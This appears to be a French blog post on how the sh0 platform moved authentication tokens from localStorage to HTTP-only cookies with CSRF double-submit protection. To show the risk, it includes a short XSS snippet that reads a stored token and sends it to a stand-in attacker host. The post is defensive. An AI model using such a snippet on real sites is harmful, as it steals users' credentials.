Back to sh0
sh0

Migration des jetons localStorage vers les cookies HTTP-Only

Comment nous avons migré l'authentification de sh0 des jetons JWT en localStorage vers des cookies HTTP-only avec protection CSRF en double soumission.

Juste A. Gnimavo (Thales) & Claude | March 26, 2026 4 min sh0
EN/ FR/ ES
securitycookiescsrfauthenticationsvelterustweb-security

Pendant les onze premiers jours de construction de sh0.dev, nous stockions les jetons JWT en localStorage. Cela fonctionnait. Le tableau de bord Svelte sauvegardait le jeton à la connexion, l'attachait comme header Bearer à chaque appel API, et le passait comme paramètre de requête pour les connexions WebSocket. Authentification SPA standard, comme l'enseignent des centaines de tutoriels.

C'est aussi fondamentalement non sécurisé.

Au jour douze, notre audit de sécurité a signalé le stockage de jetons en localStorage comme un problème de sévérité moyenne. Au jour dix-sept, nous l'avons entièrement arraché et remplacé par des cookies HTTP-only, un flux de jeton de rafraîchissement et une protection CSRF en double soumission.


Pourquoi les jetons localStorage sont un problème

Le problème est simple : tout JavaScript s'exécutant sur votre origine peut lire le localStorage. Si un attaquant trouve une seule vulnérabilité XSS, il peut exécuter :

javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Fin de partie. L'attaquant a un JWT valide avec accès API complet.

Les cookies HTTP-only éliminent entièrement ce vecteur d'attaque. Un cookie avec le flag HttpOnly ne peut pas être lu par JavaScript. Le navigateur l'attache automatiquement aux requêtes, mais document.cookie ne retourne rien.


L'architecture des cookies

Nous avons remplacé le JWT unique par trois cookies :

CookieObjectifFlagsExpiration
sh0_accessJeton d'accès JWTHttpOnly, Secure, SameSite=Strict, Path=/api15 minutes
sh0_refreshJeton de rafraîchissementHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 jours
sh0_csrfJeton CSRF double soumissionSameSite=Strict, Path=/ (lisible par JS)Session

Le jeton d'accès est de courte durée -- 15 minutes au lieu des 7 jours originaux. Quand il expire, le frontend appelle silencieusement /api/auth/refresh.


Protection CSRF en double soumission

Les cookies HTTP-only introduisent un nouveau problème : le CSRF. Nous utilisons le pattern de double soumission de cookie :

  1. À la connexion, le serveur génère un jeton CSRF aléatoire et le place dans le cookie sh0_csrf (lisible par JavaScript)
  2. Le frontend lit ce cookie et inclut sa valeur dans le header X-CSRF-Token à chaque requête modifiant l'état
  3. Le middleware serveur compare la valeur du header X-CSRF-Token avec la valeur du cookie sh0_csrf

Cela fonctionne parce qu'un attaquant cross-origin peut faire envoyer le cookie par le navigateur mais ne peut pas le lire (politique de même origine).


Authentification WebSocket via cookies

L'implémentation WebSocket originale passait le JWT comme paramètre de requête -- visible dans les logs, l'historique du navigateur et les headers Referer. Avec l'auth par cookie, les cookies sont envoyés automatiquement pendant le handshake d'upgrade WebSocket -- pas d'attachement manuel de jeton nécessaire.


Compatibilité ascendante

La migration maintient la compatibilité ascendante via une chaîne de priorité dans l'extracteur AuthUser :

  1. Header Bearer -- outils CLI, intégrations API
  2. Cookie sh0_access -- tableau de bord navigateur
  3. Cookie legacy sh0_session -- anciennes versions du tableau de bord
  4. Clé API -- si la valeur Bearer commence par sh0_

La migration est non cassante. Les scripts CLI existants continuent de fonctionner.


Points clés

  1. Les jetons localStorage sont un anti-pattern. Toute vulnérabilité XSS devient un vol persistant d'identifiants.
  2. Accès de courte durée + rafraîchissement de longue durée est l'architecture correcte.
  3. La protection CSRF est obligatoire avec l'auth par cookie.
  4. L'auth WebSocket appartient aux cookies, pas aux paramètres de requête.
  5. Maintenir la compatibilité ascendante via une chaîne de priorité dans l'extracteur d'auth.

Prochain dans la série : Prévention de l'injection de commandes dans un PaaS.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles

Thales & Claude deblo

Le Step Zero ne suffisait pas : comment valider un constructeur sans valider le runtime a fait tomber toutes les sessions vocales de Déblo l’heure où nous avons livré le streaming caméra temps réel

La phase 14 a livré Déblo Eyes — streaming caméra temps réel via LiveKit vers Gemini Live native audio. Le premier deploy a fait tomber toutes les sessions vocales en production en quatre-vingt-dix secondes parce que notre Step 0 avait validé le constructeur sans exercer le runtime. Le build log de comment Déblo a eu des yeux, ce qu’un pré-vol incomplet a coûté, et quels points de polish ont été livrés ou reportés.

33 min May 20, 2026
debloclaude-opus-4.7claude-codegemini-live +25
Thales & Claude deblo

Le tiret cadratin qui a tué la production : comment un slogan marketing dans un header HTTP a fait tomber le chat de Déblo pendant 24 heures

Deux jours avant la soumission App Store, tout le produit chat de Déblo s’est cassé silencieusement. Pas de spinner, pas de toast, aucune erreur dans l’UI — juste un silence radio. L’incident de 24 heures se résumait à un seul « é » dans la valeur d’un header HTTP qui levait une UnicodeEncodeError avant qu’aucune requête vers OpenRouter ne quitte le backend. Post-mortem d’une fausse hypothèse, d’une trace Sentry, et d’un fix de six lignes qui a débloqué le lancement.

30 min May 19, 2026
debloclaude-opus-4.7claude-codeincident +19
Thales & Claude deblo

Six heures, d’une page blanche à la review Apple — Comment nous avons soumis Déblo à l’App Store, en direct

Marche à marche en direct de la soumission de Déblo à l’App Store iOS en six heures : ce que les validateurs d’Apple ont rejeté (un superscript Unicode), ce que nous avons corrigé (un Promotional Text gaspillé sur des marques tierces), et les rouages de l’ASO iOS que presque tout le monde rate.

30 min May 13, 2026
debloclaude-opus-4.7claude-codeapp-store +16